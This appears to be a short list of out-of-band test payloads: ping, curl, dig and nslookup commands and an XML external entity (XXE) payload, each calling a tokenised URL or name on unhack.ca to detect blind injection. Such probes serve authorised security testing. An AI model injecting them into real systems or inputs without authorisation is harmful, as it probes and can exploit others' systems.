$ ping -c1 -p 00861b62dedeecd3d20c65c3a2704f00 unhack.ca
 

$ curl http://unhack.ca/p/861b62dedeecd3d20c65c3a2704f
 

$ dig 861b62dedeecd3d20c65c3a2704f @unhack.ca
 

$ dig 861b62dedeecd3d20c65c3a2704f.ns.unhack.ca
 

C:\> nslookup 861b62dedeecd3d20c65c3a2704f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/861b62dedeecd3d20c65c3a2704f">]>
    <foo>&xxe;</foo>